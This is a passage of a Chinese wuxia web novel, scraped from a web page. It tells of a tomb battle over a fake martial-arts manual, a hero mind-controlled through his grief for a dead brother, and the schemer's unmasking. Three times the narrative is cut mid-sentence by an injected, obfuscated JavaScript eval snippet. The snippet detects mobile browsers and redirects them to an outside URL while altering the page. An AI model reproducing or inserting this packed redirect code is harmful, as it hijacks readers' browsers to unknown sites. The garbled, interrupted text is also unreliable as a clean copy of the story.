柳扶斐握住他的手背,制止了他的动作。 柳扶斐用指腹轻轻摩挲着他被锤得通红的关节,“肯定有办法的,这石门不一般,非蛮力能开。” 说着,他回首看着周围,这里的布局是标准的前朝王世宗亲墓室构造——由墓道、过洞、天井、甬道和前、中、后三个墓室组成。 现在他们所在的就是甬道,所以后面的墓室必然就是前室,而他们刚刚来这里依照的是地图上的左行。 如果右行呢?相对而行,不就是后室了吗?前室的门难开,后室的可就不一定了。 柳扶斐凑到方隐攸耳边,“这里是前门,应该还有个后门,我带你去找后门。” “后门?”方隐攸望向他,“当真?” 柳扶斐信誓旦旦的点点头,牵着他举着火把,迅速朝着原路返回。 “你这是要去哪里?” 柳扶斐捏了捏他的手腕,安抚道:“去走那条我们刚刚没有走的路,总不会比现在连门都进不去差。” 方隐攸看着他的侧脸,火光让他的眉眼变得清晰,连带着他眼中镇定的情绪都能看的清清楚楚,破天荒的让方隐攸在这个贵公子身上感觉到了一丝可靠。 “对,总不会比现在更差。” 柳扶斐闻言一愣,下意识的回头看了他一眼,恰好和他的视线相对。 “你...” 还不等他开口,方隐攸伸手捏住他的下巴,将他的连扶了回去,“柳兄,看路。” 柳扶斐愣愣的噢一声,心思千回百转的牵着他继续往前走。 右边的这条路和左边的路一样,走了一会便是几层台阶,上了台阶以后是宽阔的过道,过道两边的石墙上依旧很斑驳,像是被什么东西摩擦过,留下许多刮痕。 “真的有门。” 方隐攸惊讶的看着面前的一堵小了不少的石门,有些不可思议的问道,“前面的门那么宏伟,怎么这里就是一扇小门了?” “墓也是居所,只不过一个在地上活时住、一个是地下死后住而已,你见过谁的宅邸后门和前门一样富丽堂皇的?” 方隐攸想想也是,于是也没在多问。他将可生剑递给柳扶斐,“这点小门我就不信我方隐攸打不开。” 说罢,他挽起衣袖,咬紧牙根,再次用上十成的功力朝着石门用力一锤,便听到嘭的一声,整个石门瞬间炸裂。 连带着,里面嘈杂的声响也立刻传了出来——兵刃交接、兴奋狂吼、愤怒咒骂,各种各样、此起彼伏的声响让两人不用亲眼看就知道如今里面究竟是种什么状况。 他们为了一本长生诀已经都疯魔了。 方隐攸脸色变得凝重,他拿过可生剑,然后用剑鞘抵住柳扶斐的肩膀,“你就在这里等我,进去以后我护不住你。” 柳扶斐的眉头立刻皱了起来 ,他反手打开肩上的剑鞘,“我不需要你护,我陪你走这一趟可不是为了在门口等你的。” 方隐攸沉默的望着他,手中火把的温度炽热,烤着他的肌肤,让他脸烫心烫,里面的嘶吼声越来越疯狂,他的眉心开始跳动,眼中的杀气腾升。 方隐攸一脚将柳扶斐踹开,凶狠的警告他,“你若是敢进来,我必杀你。”随后,他瞬间窜进了墓室。 一进去,方隐攸就闻道了一股浓重的血腥味,裹着一股酸臭,像是在臭水沟里闷了十几天的馊饭。 大概是听到了后门被炸开的动静,有几个人提着刀朝这里走了过来,在看到方隐攸的瞬间立刻面色凶狠的朝他提刀砍来。 方隐攸直接跨步上前,剑刃扫过他们的脖颈,然后用力腾空一跃将人踹飞。 方隐攸如过无人之境,直接来到主墓室。 主墓室里面火光烛天,将里面的一切照的一清二楚。 这里的人早就杀红了眼,眼中闪烁着摇晃的火光与汹汹的杀意,一个个浑身浴血,手里的兵器不知疲惫的在人群里挥砍。 墓室中央的石台之上有两个人扭打在一起,正是韩桓临和郭奇谅。 方隐攸翻上横梁,在人群里寻找崔清止的踪迹,眼下这种情况还能保持理智的也就只有他了。 终于,方隐攸注意到藏在角落的尸体堆里的崔清止,他只露出了半只眼睛,正死死的盯着在石台上决斗的两人。 方隐攸跳到他身边,将人从尸体堆里扯了出来,“长生诀在哪里?” 崔清止一愣,上下打量他一眼:“你怎么来了?你从哪里来的?” “现在不是说这个的时候。” 恰好这时有人握着长剑朝着两人刺来,方隐攸握住他的肩膀将他护到身后,反手一剑刺入那人胸口,然后将那人的尸体踹开以后,瞪着崔清止又问了一遍,“长生诀在不在这里?” 崔清止指向韩桓临,“在他手里。” 方隐攸将崔清止甩出人群,朝他喊了一句:“从后门走。”然后踩着几个正在厮杀的人的肩膀,直接加入了韩桓临和郭奇谅的打斗中。 郭奇谅一看来人是他,高兴的大喊一声,“方老弟!你可算来了!” 韩桓临立刻往后撤退一步,将偃月刀护在身前,在看清方隐攸的面容以后,脸色瞬间变得愤怒不已,“方隐攸!那日我没有认出你来,一时大意让你逃了出去,这次,你可就没有这么好运了!” 说罢,他握紧手里的长刀迅速朝着方隐攸打来,方隐攸抬手挡住他的刀刃,然后扭腰横踢一脚。 韩桓临反应十分迅速,他收刀后撤,然后趁机一脚将还在洋洋得意的郭奇谅踹下石台。 地下的人一看到郭奇谅,立刻挥刀朝他扑了过来,几十个人将他围得水泄不通。 韩桓临哈哈大笑,“郭奇谅,今日就是你的死期!” 郭奇谅一刀将面前的人拦腰砍断 ,然后反手又砍下一个人的头颅,他将头颅朝着韩桓临一扔,鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810190|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血溅了满地。 “韩孙,你给爷爷等着,老子今日必要砍下你的狗头。” 韩桓临仰头大笑一声,但是感觉到迅速逼近的杀气以后又立刻收敛了笑意,握紧手中长刀反手一挡,将方隐攸刺向他的剑锋抵在了刀背上。 方隐攸面无表情的盯着他,“长生诀给我。” “狂妄。”韩桓临转动长刀,一脚踹向方隐攸,然后挥刀猛劈向他的头顶,“竟然敢抢我的东西,也不看看自己几斤几两!” 方隐攸往前踏一步,错开劈向自己的刀刃,手中的长剑迅速刺出,在空中横扫而过,带出一道凌厉剑气,直逼向韩桓临的胸腹。 韩桓临见状即刻后撤,可是石台总共就那么大点地,退无可退之下,他直接刀尖点地,翻身想要跃到方隐攸身后。 只是这样他在空中时便也是毫无防备之时,方隐攸立刻借力半跃,一剑挥向他的后背。 韩桓临扭身闪避,却还是被剑刃带出了一条血痕,后腰上立刻鲜血淋淋。 他握住长刀,凶狠的瞪着方隐攸,“世人都说我韩桓临为了一本秘籍不讲武德,那你们今日所有人来抢我的秘籍又算是什么正人君子?” “长生诀不该问世,如今你在江湖上已经鲜有对手,该知足了!” “知足?”韩桓临嘲讽的盯着方隐攸,“人外有人天外有天,在江湖中知足便是自寻死路!” 方隐攸执剑指着他的面门,郑重许诺,“长生诀给我,我不杀你。” “不杀我?听着倒像是我承了你多大的恩情。”韩桓临哈哈大笑,将手中长刀用力的在石台上一跺,发出一声震响,“但是这长生诀是我韩桓临找到的!自当归我所有!” 方隐攸没了耐性,语气变得森然,“最后问你一句,给不给?” “不给!” 韩桓临怒吼一声,握着刀迅猛的朝着方隐攸扑来。 方隐攸往后一躺,滑步向前,手里的长剑在空中用力一挥,直接砍在他握刀的右臂上,随后腰腹用力一翻,整个人腾空而起,抬脚将他手中的偃月刀踢向地下厮杀在一起的人群中。 紧接着,方隐攸用剑狠狠地拍在韩桓临的肩上,然后半蹲在地用力横扫一腿。 他的速度极快,韩桓临根本来不及反应就已经半跪在地上,还不等他站起来,方隐攸的剑刃早已紧紧贴住了他的侧颈。 “要么把长生诀给我,我放你一条活路,要么我先杀了你,然后再从你身上找出长生诀。” 方隐攸的语气十分淡漠,没有任何情绪,仿佛他即将得手的并不是什么可以主宰江湖的长生诀,而是一本普通话本子。 韩桓临愤恨的瞪着他,“方隐攸,你以为你拿到长生诀以后能安然无恙的走出这个墓室吗?” 韩桓脸抬手擦一把脸上的血污,但是他手上本就沾满鲜血,这一擦反倒是越差越脏,整张脸上除了他那双阴桀的双眼,没有半点干净的地方了。 “他们不会让你走的。”韩桓临望着围在石台之下厮杀的两眼放光的人,“你以为他们为什么迟迟不上来?不过就是等着我们两个斗个你死我活,再坐收渔翁之利罢了。” “今天,一个人都走不了!” 说罢,韩桓临从胸口里掏出一本小册子,用力的扔向人群。 方隐攸见状立刻一脚将他踢下石台,然后翻身而下,朝着小册子的落点而去。 那群人看到空中的小册子立刻兴奋了起来,皆双手高举着想要抢夺长生诀,但是方隐攸却比他们都快,他不过是脚踩着几人的头顶飞跨几步,眨眼间就将长生诀握在了手里。 可是,当他再次落到石台之上,翻开长生诀一看,整个人瞬间僵住。 “哥哥。” 一道温润的声音适时响起,在震耳欲聋的喧闹声中清晰的落入方隐攸耳中。 52. 傀儡 一个身穿白色长袍,头戴帷帽的男子从角落的一根立柱后面走了出来,火光摇曳下他的影子左右晃动,衣摆飘飘,整个人如梦似幻,似鬼非人。 原本僵硬如石雕的方隐攸浑身猛地一抖,眼神瞬间变得飘忽起来,他看向男人,激动而惊喜的大喊一声,“宇周!” 方隐攸纵身跃到他的身边,一把握住他的手腕,忐忑的问道,“是你吗?宇周?” 男子点点头,反手握住他的手腕,“是我,哥哥。” 说罢,他上前一步,手指着墓室里面皆一脸愕然的望着他们的众人,“哥哥,他们想杀我。” 方隐攸眼光瞬间变得凶狠,他愤怒的看向众人,“你们竟然敢杀我的弟弟?” 男人挽起衣袖,露出胳膊上的一道血痕,“哥哥,你看。” 方隐攸见状,神色一慌,眼中的杀气瞬间迸发,人也如闪电般的落入人群中,手中的可生剑挥动着干脆又决然。 他们伤了宇周,该死。 方隐攸所经之处,无一人幸免,皆是一剑封喉,众人毫无还手之力。 已经受了伤的郭奇谅看到冲着自己而来的方隐攸错愕不已,他一边往后撤,一边大喊着,“方老弟!我可没让人伤你弟弟!” 方隐攸飘忽眼神中的杀气却并未因此消减,反而是越来越浓,他呵呵一笑,盯着郭奇谅猖狂一笑,“你们这群狗东西竟然也敢伤我弟弟,今天我必要将你们碎尸万段!” 郭奇谅不可置信的瞪着他,庞大的身躯忍不住抖了抖,“你疯了吗?老子什么时候伤你弟弟了?” “郭大哥!他被控制了!” 躲在角落里的崔清止朝着郭奇谅大喊一声,“杀了那个穿白色衣服的!” 郭奇谅闻言也立刻反应了过来,他握紧手中长刀,扯过身边的几个人朝着方隐攸扔去,然后迅速朝着那个白衣男子奔去。 “哥哥!”白衣男子见状朝着方隐攸惊呼一声,语气惊恐万分,“快来救我!他想杀我!哥哥!” 方隐攸浑身猛地一颤,像是被人掐住了死穴,双眼变得猩红无比,他回首凶狠的盯着郭奇谅,咬牙切齿的说道:“你敢!” 说罢,他脚尖点地,握紧长剑,人和剑合为一体,如利箭离弦,嗖的一下转瞬就到了郭奇谅的面前。 可生剑直接没入郭奇谅的胸膛寸许,就在他还想继续往里刺的时候,一根长鞭忽然卷住他的手腕,将他往后一带,剑锋顺势被拔了出来。 郭奇谅死后逢生,惊惶未定的望着匆匆赶来的柳扶斐,“多谢柳兄弟救命之恩!” 柳扶斐看他一眼,然后迅速收鞭后撤,一脸凝重的望着方隐攸。 现在的方隐攸非常不对劲,双眼猩红、眼神飘忽不说,他的双肩微缩,背脊微躬,就像是遇见了即将发生的灾祸,整个人都惶惶不安可是却又无能为力的那种姿态。 柳扶斐往前一步,诱哄着问道:“方隐攸,你怎么了?” 方隐攸看向他,眼睛瞪得老大,眼中的血丝越来越多,就连眼瞳中都开始出现血丝。 “哥哥,我好怕...” 白衣男子忽然开口,“哥哥,我不想死...” 方隐攸的眼神瞬间变得狠厉,表情也变得阴桀,他急速朝着柳扶斐冲去,手中的长剑直指他的脖颈,似乎想要切下他的头颅。 柳扶斐一惊,连忙错身躲过,可是他的武力远在方隐攸之下,就算眼下方隐攸失控,对付他也绰绰有余。 所以,他并没能完全躲开方隐攸的一击,可生剑在他右臂上带出一条血痕,锦衣瞬间被染成了血色。 “哥哥,把他们都杀了。” 白衣男子的声音婉转,像是动听的催命符,在整个墓室里游荡。 众人一听,脸色皆是一变,方隐攸的大名他们无人不知无人不晓,这里没有一人是他的对手。 倒在血泊中的韩桓临捡起身边的一把断刀,撑着缓慢的爬了起来,他眼神愤恨的瞪着方隐攸,高喊一声:“怕什么?你们合力难道打不过他一人吗?长生诀就在他手里,难道你们不想要长生诀了吗?” “韩盟主说的没错!”一个男人举起手中长枪,仰头一吼:“他一个刺客,难道能杀得过我们这么多人吗?” 众人一听,窃窃私语的环顾四周后,皆一跺脚一挥手,全部朝着方隐攸冲了过来。 方隐攸握紧手中长剑,右腿往前伸一步,调转内力聚于执剑的手中,然后怒吼一身朝着身前挥动一剑,巨大的罡风如凌厉的剑刃劈向迎面而来的众人。 最前排的一群人尽数被拦腰斩断,血流成河,横亘在了方隐攸与众人之间。 后面的人群见状立刻止步,握兵器的手都开始瑟瑟发抖,谁都不敢再做第一排冲锋的送死之人。 白衣男子缓步走到方隐攸身侧,抬手扯住他的衣摆,漫不经心的指向人群中的几个掌门,“哥哥,先杀那几个人。” 方隐攸闻声而动,脚尖点在血泊之上,鞋底变得猩红一片,他手起刀落,斩下一个掌门的头颅。 随后又迅速回首,看向另一个掌门。 那是个头发已经花白的老者,他手握一把大砍刀,瞪着方隐攸,“方隐攸,你一年前还曾受过我的恩惠,如今是要恩将仇报了吗?” 方隐攸闻言没有任何反应,猩红的双眼里只有翻腾的杀意,是要毁掉一切的杀意。 柳扶斐却身形一动,挡在了老者面前。 他不能让方隐攸在失控的时候杀掉自己的恩人。 “方隐攸,他不是你的弟弟。”柳扶斐指向那个白衣男人,虽然他也不知道那人是谁,但是他笃定方隐攸的弟弟不会是这种滥杀无辜之人。 方隐攸闻言眉心一抖,忽然往后跌了一步,脸色也变得非常难看。 他抬手捂住前额,嘴里发出一声难耐的痛呼声,然后缓缓抬头望着柳扶斐,眼神隐忍又悲怆。 就像是大厦已倾,周遭只剩下他一个人的凄哀与寂寥。 “柳扶斐...” 柳扶斐闻言一喜,激动的往前一步,抬手就想要触碰他,“是我!” 话音刚落,方隐攸忽然闭紧双眼压抑的怒吼一声,再睁眼时,他眼神又变得冰冷嗜血。 然后,他手中的长剑以迅雷不及掩耳之势朝着老者刺来。 柳扶斐见状别无他法,只能用前肩替老者接下这一剑,然后再狠下心来一脚将方隐攸踹开丈许。 郭奇谅在旁边看的十分焦心,忍不住大喊一声,“柳兄弟,方老弟他已经得了失心疯了,你就别再顾着兄弟结拜之情了!杀了他就是!” 柳扶斐忍不住愤怒的瞪了他一眼,然后将老者往后一推,“去躲起来。” 方隐攸并没有给老者躲藏的机会,他避开柳扶斐的位置,绕过几个江湖人后朝着老者奔去。 柳扶斐朝着方隐攸的腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810191|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间挥出一鞭,想要将人拽回来,但是方隐攸却像是早就料到了他的招式一般,直接按住身侧人的肩膀腾空而起,躲过了他的鞭子。 眼看着方隐攸的长剑就要刺入老者的后心,一群带着面具的死侍突然从后室中涌了出来。 柳扶斐脸色一松,赶紧朝他们招了招手,“别伤到他,绑住他就行!” 死侍点点头,迅捷的围在方隐攸身侧,然后又配合有度的分别朝着他的不同位置袭去。 方隐攸板着脸,不耐的瞪着他们,手里的长剑挥动,刀光剑影中直接取了两人的性命。 死侍见状立刻变得警惕起来,不在贸然行动,而是围在他的周围打转,不进不退的僵持,也让方隐攸无法瞬间找出他们的破绽。 忽然,两支利箭一前一后划破长空,一支朝着白衣男子的后胸而来,一直朝着方隐攸的执剑的手臂而来。 方隐攸惊觉利箭划破长空的鸣响,整个人惊恐的回首看向白衣男子,凄厉的嘶吼一声, 然后,不管不顾的朝着白衣男子奔去,死侍害怕真的伤害到他,见状也只能立刻收了兵器,让他顺利突破包围。 方隐攸已经来不及斩断长箭,只能用力推倒白衣男子,两人顺势摔倒在地上。 而白衣男子头上的帷帽也因此而掉落,露出了藏在帷幔之下的真容——是施亦礼。 “是你!” 柳扶斐不可置信的瞪着施亦礼,“你为什么要这么做?” 施亦礼嘲弄的呵呵一笑,捡起地上的帷帽戴好,扶起方隐攸后手指向墓室的西北角,“哥哥,射箭的人在那里。” 方隐攸朝他手指的方向看去,那里站着一个带着面具的男人,他差点杀了弟弟,所以,他必须死。 男人注意到方隐攸的视线,忍不住喊道,“方隐攸,你个蠢货,他不是你弟弟!” 方隐攸握紧长剑,咬紧牙根,飞速朝他奔去,剑锋刺破长空时带出一阵火花。 男人看出方隐攸这次是真的想要他的命,立刻朝着墓室里的众人喊道:“我乃是大境六皇子,我若死在这里,你们所有人、乃至整个武林都得给我陪葬!” 众人皆是一惊,然后迅速朝他扑了过来,郭奇谅直接举起身侧的一个男人往六皇子面前一扔,嘴里还十分郁闷的小声骂道:“他妈的,怎么皇子也来抢长生诀了?” 一堵肉墙挡在六皇子的面前,他立刻连滚带爬的跑到柳扶斐身侧,一把扯住他的衣襟,“柳扶斐,你既然会武可得保护好我,不然小心我父皇拿你问罪!” 柳扶斐面无表情的盯着六皇子,虽然早就料到了此人肯定是朝堂中人,但是他却着实没有料到竟然是皇子! 柳扶斐甩开他的手,嫌弃的往后退了一步,“六皇子不好好的在皇城待着,跑到这里来做什么?” “你个堂堂大将军的独子,不也跑到江湖里来凑热闹了?”六皇子整理一下衣襟,抖抖肩膀后扯了扯嘴角,“只是京中人皆知柳公子乃是一个只会吟诗作画的纨绔,你什么时候习得武?” 说着,他用手挡住嘴,悄声道:“你那日挥鞭救方隐攸的时候,着实让我惊讶。” 就在这时,被众人围着的方隐攸忽然突破重围,再次朝着六皇子冲了过来。 六皇子带来的死侍飞奔而来,接住了方隐攸的招式,和他扭打在了一起。 “哥哥,不要再犹豫了,杀了他们,然后我们一起回家。” 53. 刽子手 不知道什么时候爬到石台之上的施亦礼朝着方隐攸高呼一声。 然后方隐攸立刻像是脱缰的野马,每招每式都成了必杀,一时之间整个墓室里面惨叫声震耳欲聋,死伤无数。 就连他自己也是浑身浴血,身上大大小小的刀伤、剑伤不计其数,最严重的还数他左肩上的那一道——深可见骨,鲜血顺着手臂往下,将他的整个左手都染成了红色,然后在地下汇聚成了一滩。 打了不知道多久,方隐攸忽然浑身一抖,整个人都无力的半跪在地上。 周围的众人见状,立刻兴奋的围了上去,手里的兵器尽数朝着他刺去。 柳扶斐恍惚间竟然感觉自己回到了淮临县的那一次。 那天也是如此,方隐攸躺在地上,周围的人都想要将他杀之而后快。 他也如当初那般,威风凛凛的挡在方隐攸身前,眼神冷冽的环顾四周,语气森然又具有压迫性的怒喝一声:“我看你们谁敢伤他!” 方才他一边要挡住砍向方隐攸的刀刃,一边要闪避方隐攸刺向他的剑锋,早就弄得浑身是伤,绣满金丝祥文的锦衣已经被鲜血染透,他本就脸白唇红,如今这么站着,活像个玉面修罗。 死侍们也闻声而动,护在两人面前,手中染了血的兵器闪着寒光。 “他伤我们这么多人,为何不能杀?” 满脸血污的黄逍穹走了出来,他手里的长枪已经折断,竖在地上以后只及人高,他轻蔑的盯着柳扶斐,“你难道想要和整个江湖为敌吗?” 六皇子这时候也跑到了柳扶斐身边,抬手在众人面前一指,“本皇子命令你们不准动他!” 黄逍穹眼中闪过一丝犹豫,随后又咬牙将手里的长枪往地上一跺,“你口口声声说自己是六皇子,何人能证明?” 说着,他看向身边的一群江湖人,“我看,他就是在冒充皇子,我们不如将他杀了,也算是为了为民除害!若是上报朝廷,也是立功!” 众人脸色各异的相互观望一眼,然后又十分默契的高呼一声:“黄门主说的对!皇子是多尊贵的身份,怎么可能来这种地方?他必然是个假的!” 六皇子怒不可当的瞪着黄逍穹,“我看你是活腻了!” 黄逍穹呵呵一笑,眼神阴毒的看向柳扶斐,“识趣的,就把方隐攸交出来,我黄逍穹必会留你们一个全尸。” 柳扶斐握紧手中长鞭,直接一鞭子抽在黄逍穹的脸上。 黄逍穹压根没看清他何时出的手,反应过来时自己已经捂着脸在地上打滚。 柳扶斐冷眼扫他一眼,继而盯着面前的一众乌合之众,眼神如即将挣脱牢笼的猛兽那般,凶狠又嗜血,“既然你们找死,我也只能勉为其难做一个刽子手。” “在别人的墓里打打杀杀,让人死了都不得安生,这事说出去可不光彩。” 一声空荡飘忽的声音响起,整个墓室里面的人皆是一愣,他们警惕的环顾四周,却并未找到发声的人。 柳扶斐闻声却是一喜,这是谷山一的声音! 他趁着周围的人都在疑惑不解寻找来人时,抱住方隐攸迅速跳到高台之上,然后将躲在上面的施亦礼一脚往地下踹去。 眼看着施亦礼就要跌入人群中,却看到一个庞然大物忽然从后室闪出来,提着施亦礼的衣襟又将他扔回了石台之上。 柳扶斐不解的望着云礼,“你救他做什么?” 云礼扫他一眼,视线落在倚靠在他怀里的方隐攸身上,“堂堂第一刺客,竟然被一个书生操控,当真是丢脸。” 柳扶斐刚想辩解,云礼已经转身看向不知何时站在人群之外的谷山一。 众人都随着他的视线看去,谷山一适时地朝着他们微微一笑,“在下谷山一,是个医者。” 话音一落,人群里面发出一阵惊呼,江湖中半数人都曾听闻过仓崂山谷山一的名声,只是鲜少有人见过他的真容。 看到众人的反应,谷山一摆摆衣袖,指向面前男人只剩下一点皮连着的断臂,笑道:“但是在下今日不行医,你若想保住这胳膊,最好是现在就去上面找个医馆瞧瞧。” 男人面露狠意,竟然直接扯下自己的断臂往地上一扔,然后无所畏惧的望向石台上的方隐攸,“老子今日是来找长生诀的,这条胳膊没了还有另一条,长生诀没了可就什么都没了。” 谷山一挑挑眉,视线轻飘飘的落在地上的残肢上,“好魄力。” 说罢,他缓步越过人群,每一步都避开了地上的血迹,未让鞋底染上一滴血。 “只是可惜啊,世间压根没有什么长生诀。” “不可能!”一个男人用长剑指着谷山一,“世人皆知闻人焕厉当初练得就是长生诀,世间怎么可能没有长生诀!” 谷山一盯着锐利的剑锋,“拿剑指人可不是什么好习惯。” 他话音刚落,石台上的云礼转眼就来到了两人跟前,一脚踢断了那人手里的长剑后揽着谷山一的腰将人带到了石台上。 谷山一看向柳扶斐,“把他怀里的长生诀给我。” 柳扶斐闻言脸色一变,警惕的盯着谷山一,握鞭的手也越发用力。 谷山一见状轻笑一声,手指着云礼,“我若是想要抢长生诀,这里的人哪个能拦住他。” 柳扶斐想起来面前的云礼便是杀了闻人焕厉的单羽林,明白他若是想要长生诀,早在十年前就拿走了。 于是,他伸手从方隐攸怀里拿出那本小册子递给了谷山一。 谷山一举着册子朝着石台下的人晃了晃,“这个?”他散漫的往前一步,手搭在施亦礼的肩膀上将人往前推了一步,“不过是这位公子哄骗你们的玩意罢了。” 韩桓临推开挡在面前的人,冲到石台前面不可置信的瞪着谷山一,“胡说!那里面明明就是长生诀!” 眼下韩桓临不知道在血污里滚过了几趟,衣襟上还沾着许多红白血肉,谷山一看到后嫌恶的皱起了眉。 他随手翻开册子看了几眼,然后轻笑一声,伸手撩起身侧施亦礼帽檐上的帷幔,眉眼弯弯的调侃道:“想不到这位公子没有半分武力,却可以写出这本足以乱真的长生诀。” 说着,他扫过地下那群正贪婪的注视着他手里的册子的人,朝韩桓临嘲弄的说道:“你既为武林盟主,就该看出这所谓的长生诀第一重的口诀中所说的太渊,虽是肺经穴却也是护心穴,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810192|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用真气强行冲开,积年累月便会使心脉受损!” 谷山一看向施亦礼,朝他眨了眨眼,满脸诚恳的说道:“下次再编写秘籍时,得注意点。” 韩桓临的眼中闪过一丝错愕,继而又梗着脖子朝着谷山一喊道:“一派胡言!谁知道你是不是故意这么说,让我们以为这长生诀是假的,然后再趁机占为己有?” “既然你们不信我所言——”谷山一清浅一笑,将手里的长生诀随手扔向一处,“那你们便去争吧。” “你!”柳扶斐一愣,下意识的就想要去将长生诀抢回来,却被云礼一把拽住。 “那是假的。” 云礼面无表情的说完,然后看向自始至终都一言不发的施亦礼,“你与闻人焕厉有亲?” 施亦礼隔着帷幔看着地下那群重新扭打在一起的众人,冷笑一声后依旧沉默不语。 云礼又问了一句,“那你是与他有仇?” 施亦礼仍旧不答。 谷山一抬手拍了拍施亦礼的肩膀,好言相劝,“你最好是趁着眼下是他在问你时毫无隐瞒的答,免得让我对一个书生下手。” 施亦礼抖抖肩膀,将谷山一的手抖开,然后摘下帷帽,眼神怨恨的瞪着他们两人,“你们为什么要来多管闲事?” 云礼往前一步,庞大的身躯堵在施亦礼面前,压迫力瞬间倾轧而来,让施亦礼下意识的往后退了一步。 “你不该拿长生诀做文章。” 云礼这话说的无头无尾,柳扶斐闻言却是瞬间就懂了他的意思——长生诀牵扯出闻人焕厉,而他与闻人焕厉之间可谓是纠葛颇深。 所以,在仓崂山过着安逸生活的两人才不得不出来“多管闲事”。 施亦礼闻言嗤笑一声,猛地背过身去,盯着发疯了似的争夺长生诀的众人,“这长生诀是闻人焕厉留下的,和我有什么关系?” 谷山一顺着施亦礼的视线看过去,这群人竟然会为了一本假秘籍争得头破血流,他只想感叹一句江湖中人也是一辈不如一辈了。 “你知道方隐攸的心魔是什么。” 谷山一说的十分笃定,施亦礼闻言一愣,面上却装作若无其事的说道:“我不知道你在说什么。” “是吗?”谷山一抬起手里,在空中虚空一抓,然后朝着施亦礼举拳,笑道:“你猜这里面有什么?” 施亦礼看着他虚握着的手,手指修长而白皙,食指的第二个指节中间有一颗不甚明晰的浅痣。 “我为什么要猜?” “做人太警惕可不好。”谷山一缓缓张开手,里面空无一物,掌纹清晰,“看到了吗?你在乎的那个人是如何死的。” 最后几个字谷山一说的及其缓慢,蛊惑着人心。 随后,众人便看到施亦礼忽然浑身一抖,双眼猛地闭上又瞬间睁开,整个人都开始发颤,然后双手无故在身前快速挥舞。 柳扶斐疑惑的看向谷山一,“他这是怎么了?” “他看到了自己的心魔。” 施亦礼不知道什么是心魔,只知道他终于又见到了哥哥,那个心性洒脱如光风霁月、立身卓尔如青松、却死在了二十二岁生辰的施亦敬。 54. 肮脏的江湖 施亦敬满身血污的站在他面前,笑看着他,问道:“弟弟,你来接我回家了吗?” 施亦礼慌张的往前一步,想要替施亦敬擦去脸上的血痕,手却从他的身上穿过,始终无法真实的触碰到他。 “哥哥!”施亦礼开始变得焦急,他朝着施亦敬大喊,“为什么!为什么会这样?” 施亦敬的表情毫无变化,依旧温润的笑着,嘴角扬起纹路,“因为...哥哥已经死了...” 说罢,施亦礼就看到哥哥忽然变成了一个黑色的骷髅,眼眶里还在不停的涌出鲜血。 施亦礼痛苦的尖叫着,不可置信的看着眼前的一幕,整个人都开始疯狂的颤抖。 对的,哥哥死了。 而且死的凄惨无比,被人一刀一刀的割断手脚的筋脉,浑身的血都流干了...他赶去收尸时,连尸首也早已开始腐败... 施亦礼痛苦的抱住脑袋,整个人都蜷缩了起来。 谷山一看着躺在石台上挣扎的施亦礼,俯身凑到他的耳边轻声呼唤,“醒过来。” 施亦礼闻声一抖,飘忽的眼神立刻变得清明起来,他惊恐的盯着站在他面前的谷山一,“你是谁!你究竟是谁!” 谷山一微微一笑,起身俯视着他,妖异的脸上露出一个戏谑的表情,“连我是谁都不知道,就妄想凭一己之力来搅乱江湖?” 施亦礼颤颤巍巍的爬起来,明白面前之人能力巨大,自己与之相搏只怕是毫无胜算。 他环顾四周,江湖上那些排得上名号的门派已经死伤无数,他也不完全算是败了。 施亦礼讥笑几声,手指着石台下那群癫狂的人,愤恨的吼道:“凭什么不可以!” “江湖?”施亦礼嘲弄的仰头大笑,“什么是江湖?不过是一群无功无德无礼无知之徒聚在一起的粪溷。” “凭什么你们一句江湖恩怨便可以名正言顺的做刽子手,而让我朝律法成了满纸的笑话?” “一群目无法纪的歹徒,聚在一起就成了江湖,当真是可笑!所谓江湖道义,都是你们为非作歹的托词罢了!” 谷山一面无表情的看着他,“所以你就编造出一本莫须有的长生诀,将江湖人都引诱到此处来,让他们为此厮杀?” “引诱?”施亦礼厌恶的撇着嘴,“我只不过是散布了几句莫须有的传言,他们便像是疯狗一样围了过来,你不去怪他们太贪婪,反倒怪我将这群土鸡瓦犬看的太清?” “既然你们自诩为高高在上的江湖人,那我用江湖的手段来清理你们,又何错之有?” 施亦礼眼神漠然的扫视众人,“连一本秘籍的真伪都看不出来的蠢物,难道不该死吗?” 原本还在拼命抢夺长生诀的人闻言瞬间僵住,他们本就因为谷山一的话对这本秘籍的真伪产生了怀疑,再听到施亦礼这番话以后,瞬间明白了事情的原委。 韩桓临最先反应过来,愤怒的瞪着施亦礼,“你竟然敢算计我?”说罢,提着偃月刀就要跃到石台上来杀施亦礼。 